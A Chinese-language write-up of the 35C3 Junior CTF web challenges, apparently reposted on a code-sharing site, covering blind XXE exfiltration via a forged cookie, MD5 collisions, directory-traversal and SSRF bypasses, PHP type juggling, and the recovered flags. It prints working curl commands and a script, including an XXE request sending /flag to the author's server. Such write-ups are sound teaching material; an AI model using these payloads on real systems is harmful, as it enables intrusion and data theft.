35C3 Junior CTF web writeup By Saferman

栏目: 编程工具 · 发布时间: 5年前

内容简介:在这个月圣诞节和元旦节之间参加了这个比赛,这个比赛有二个这题打开就是一个显示源码的页面,PHP如下:仔细阅读完代码可以很快的发现Get请求的theme参数毫无价值,因为Cookie是可以伪造的。这里查阅了class_exists的手册发现如果这个函数的参数类不存在会尝试通过__autoload包含相应的文件,这里在想是不是LFI漏洞。

在这个月圣诞节和元旦节之间参加了这个比赛,这个比赛有二个 https://35c3ctf.ccc.ac 是难度较高的,还有一个是 https://junior.35c3ctf.ccc.ac/ 中等难度的。中等难度的题目总体来讲还是很符合Junior水平的 :-)。题目整体来讲都不难,只有一二道题花了较多时间,现在将自己的解题思路总结出来。

Blind

这题打开就是一个显示源码的页面,PHP如下:

<?php
function __autoload($cls) {
    include $cls;
}

class Black {
    public function __construct($string, $default, $keyword, $store) {
        if ($string) ini_set("highlight.string", "#0d0d0d");
        if ($default) ini_set("highlight.default", "#0d0d0d");
        if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

        if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
        }
    }
}

class Green {
    public function __construct($string, $default, $keyword, $store) {
        if ($string) ini_set("highlight.string", "#00fb00");
        if ($default) ini_set("highlight.default", "#00fb00");
        if ($keyword) ini_set("highlight.keyword", "#00fb00");

        if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
        }
    }
}

if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
        if (@class_exists($_)) {
            ($string = @$_GET['string']) || $string = false;
            ($default = @$_GET['default']) || $default = false;
            ($keyword = @$_GET['keyword']) || $keyword = false;

            new $_($string, $default, $keyword, @$_GET['store']);
        }
    }
} else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
        new $args[0]($args[1], $args[2], $args[3], '');
    }
} else if ($_=@$_GET['info']) {
    phpinfo();
}

仔细阅读完代码可以很快的发现Get请求的theme参数毫无价值,因为Cookie是可以伪造的。这里查阅了class_exists的手册发现如果这个函数的参数类不存在会尝试通过__autoload包含相应的文件,这里在想是不是LFI漏洞。

查看phpinfo信息发现是7.2.13版本,本地测试了一下发现不能读取根目录的flag,即/flag,审计 PHP 源码发现这个版本的__autoload参数在处理前会经过字符串过滤,只能接受如下字符:

/* Verify class name before passing it to __autoload() */
    if (!key && strspn(ZSTR_VAL(name), "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\") != ZSTR_LEN(name)) {
        zend_string_release(lc_name);
        return NULL;
    }

接下来想到可以利用内置类实现攻击,使用如下命令打印PHP 7.2.13全部内置类:

var_dump( get_declared_classes());

这一步过滤花费了很多时间,最终锁定在一个SimpleXMLElement类上,这里有国内利用这个类进行 blind XXE攻击的案例: https://www.freebuf.com/vuls/154415.html

在自己的服务器上提供xml和dtd文件,使用如下命令访问题目链接:

curl -v --cookie 'theme=SimpleXMlElement-http://服务器路径/blind.xml-2-true' 'http://35.207.108.241'

利用 blind XXE注入技巧读取/flag文件内容并传送给自己的服务器

collider

这道题题目描述如下:

Your task is pretty simple: Upload two PDF files. The first should contain the string "NO FLAG!" and the other one "GIVE FLAG!", but both should have the same MD5 hash!

难度不大就是利用MD5 碰撞,比赛期间没找到合适的 工具 就暂时跳过,赛后才知道可以使用这个工具:

https://github.com/cr-marcstevens/hashclash

命令如下:

sh cpc.sh giveflag.pdf noflag.pdf

上传这二个文件就可以得到Flag

Logged In

这道题题目描述有点长,但是核心就是去审计server.py

@app.route("/api/login", methods=["POST"])
def login():
    print("Logging in?")
    # TODO Send Mail
    json = request.get_json(force=True)
    login = json["email"].strip()
    try:
        userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login))
    except Exception as ex:
        raise Exception("UserDoesNotExist")
    return get_code(name)

def get_code(username):
    db = get_db()
    c = db.cursor()
    userId, = query_db("SELECT id FROM users WHERE name=?", username)
    code = random_code()
    c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code))
    db.commit()
    # TODO: Send the code as E-Mail instead :)
    return code

@app.route("/api/verify", methods=["POST"])
def verify():
    code = request.get_json(force=True)["code"].strip()
    if not code:
        raise Exception("CouldNotVerifyCode")
    userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code)
    db = get_db()
    c = db.cursor()
    c.execute("DELETE FROM userCodes WHERE userId=?", (userid,))
    token = random_code(32)
    c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token))
    db.commit()
    name, = query_db("SELECT name FROM users WHERE id=?", (userid,))
    resp = make_response()
    resp.set_cookie("token", token, max_age=2 ** 31 - 1)
    resp.set_cookie("name", name, max_age=2 ** 31 - 1)
    resp.set_cookie("logged_in", LOGGED_IN)
    return resp

从上述流程可以看到要想得到flag必须通过POST请求去访问/api/verify,并且需要携带正确的code参数

code在/api/login中可以获得,但是它的 SQL 查询语句很奇怪:

SELECT id, name, email FROM users WHERE email=? OR name=?

只要提交的email符合一个邮箱或者用户名都可以让查询成功,所以我就大胆爆破用户名

然后发现admin可以,直接得到code,然后POST提交得到flag: 35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS

McDonald

题目描述如下:

Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores..

http://35.207.91.38

使用 dirsearch 进行目录爆破发现:

/backup/.DS_Store

利用这个项目解析.DS_Store内容: https://github.com/lijiejie/ds_store_exp

可以发现flag的位置: http://35.207.91.38/backup/b/a/c/flag.txt ,访问得到

35c3_Appl3s_H1dden_F1l3s

Flags

题目描述如下:

Fun with flags: http://35.207.169.47

Flag is at /flag

页面显示出源码如下:

<?php
  highlight_file(__FILE__);
  $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
  $lang = explode(',', $lang)[0];
  $lang = str_replace('../', '', $lang);
  $c = file_get_contents("flags/$lang");
  if (!$c) $c = file_get_contents("flags/ot");
  echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';

可以看到是个LFI漏洞,但是使用了替换../为空的方法处理$lang变量,这是非常不安全的过滤手段!

利用方式很简单:

curl -H 'Accept-Language: ..././..././..././..././..././..././flag' http://35.207.169.47/

网页源码显示为

<img src="data:image/jpeg;base64,MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=">

base64解码得到:

35c3_this_flag_is_the_be5t_fl4g

localhost

题目描述写了一大堆,但是题目给了源码,我们查看分析:

@app.after_request
def secure(response: Response):
    if not request.path[-3:] in ["jpg", "png", "gif"]:
        response.headers["X-Frame-Options"] = "SAMEORIGIN"
        response.headers["X-Xss-Protection"] = "1; mode=block"
        response.headers["X-Content-Type-Options"] = "nosniff"
        response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';"
        response.headers["Referrer-Policy"] = "no-referrer-when-downgrade"
        response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \
                                             "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \
                                             "fullscreen *; payment 'self'; "
        if request.remote_addr == "127.0.0.1":
            response.headers["X-Localhost-Token"] = LOCALHOST

    return response

flag 应该是就是 X-Localhost-Token,但是需要localhost才能访问,于是我们继续审计源码发现

# Proxy images to avoid tainted canvases when thumbnailing.
@app.route("/api/proxyimage", methods=["GET"])
def proxyimage():
    url = request.args.get("url", '')
    parsed = parse.urlparse(url, "http")  # type: parse.ParseResult
    if not parsed.netloc:
        parsed = parsed._replace(netloc=request.host)  # type: parse.ParseResult
    url = parsed.geturl()

    resp = requests.get(url)
    if not resp.headers["Content-Type"].startswith("image/"):
        raise Exception("Not a valid image")

    # See https://stackoverflow.com/a/36601467/1345238
    excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
    headers = [(name, value) for (name, value) in resp.raw.headers.items()
               if name.lower() not in excluded_headers]

    response = Response(resp.content, resp.status_code, headers)
    return response

这是一个通过自定义代理,访问图像的功能。如果我们可以设置代理通过服务器本身去访问一个图像,那么我们就可以得到包含Token的响应。这里对图像的判断也很简单,就是判断访问图像的链接响应是否有"Content-Type"并且其开头是"image/"

在自己的服务器上编写一个返回Content-Type为image/2333的HTTP服务器即可,然后利用如下脚本得到flag:

# - * -coding: utf - 8 - * -
import requests
url = "http://35.207.189.79/api/proxyimage?url=http://127.0.0.1:8075/api/proxyimage?url=http://自己的服务器/""
r=requests.get(url)
print r.headers["X-Localhost-Token"]

35C3_THIS_HOST_IS_YOUR_HOST_THIS_HOST_IS_LOCAL_HOST

Note(e) accessible

打开上述链接,查看HTML源码,发现src文件夹有源码可以下载

审计源码发现flag在/admin路径下,但是只能从localhost访问,于是开启Seay审计系统审计源码发现view.php有一个file_get_content:

echo file_get_contents($BACKEND . "get/" . $id);

检查这个id是否可有控,发现其过滤函数只是判断 "./pws/" . (int) $id . ".pw" 是否存在,我们知道php的int函数特性:在对字符串处理的时候只得到字符串前面的数字部分,不管后面自己字符串的内容。因此我们可以这样利用:

http://35.207.120.163/view.php?id=3761012476392169467/../../admin&pw=45353ac5e4d20a3d440d55ff00844e2f

就可以从localhost访问/admin文件的内容,得到flag。

saltfish

访问链接: http://35.207.89.211/

<?php
  require_once('flag.php');
  if ($_ = @$_GET['pass']) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (md5($_) + $_[0] == md5($ua)) {
      if ($_[0] == md5($_[0] . $flag)[0]) {
        echo $flag;
      }
    }
  } else {
    highlight_file(__FILE__);
  }

pass 参数和 http_user_agent 可控,有二个条件需要绕过

  • 第一个是pass参数的md5加上pass第一个字符等于use_agent的md5:利用php的"+"操作符特性,会将二边的字符串都转换为int,并且转换的大小对于字符串前缀数字部分的值,如果没有就为0,然后当数字和一个字符串(md5($ua))进行若比较的时候,会将字符串转换为数字(也是前缀部分)

  • 第二是 pass的第一个字符等于该字符连上flag的MD5后的第一个字符--既然只有一个字符,我们可以直接暴力破解变量全部的ASCII字符

最终得到POC,得到flag: 35c3_password_saltf1sh_30_seconds_max

curl -A "b" "http://35.207.89.211/?pass=b"

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Automate This

Automate This

Christopher Steiner / Portfolio / 2013-8-9 / USD 25.95

"The rousing story of the last gasp of human agency and how today's best and brightest minds are endeavoring to put an end to it." It used to be that to diagnose an illness, interpret legal docume......一起来看看 《Automate This》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

html转js在线工具
html转js在线工具

html转js在线工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换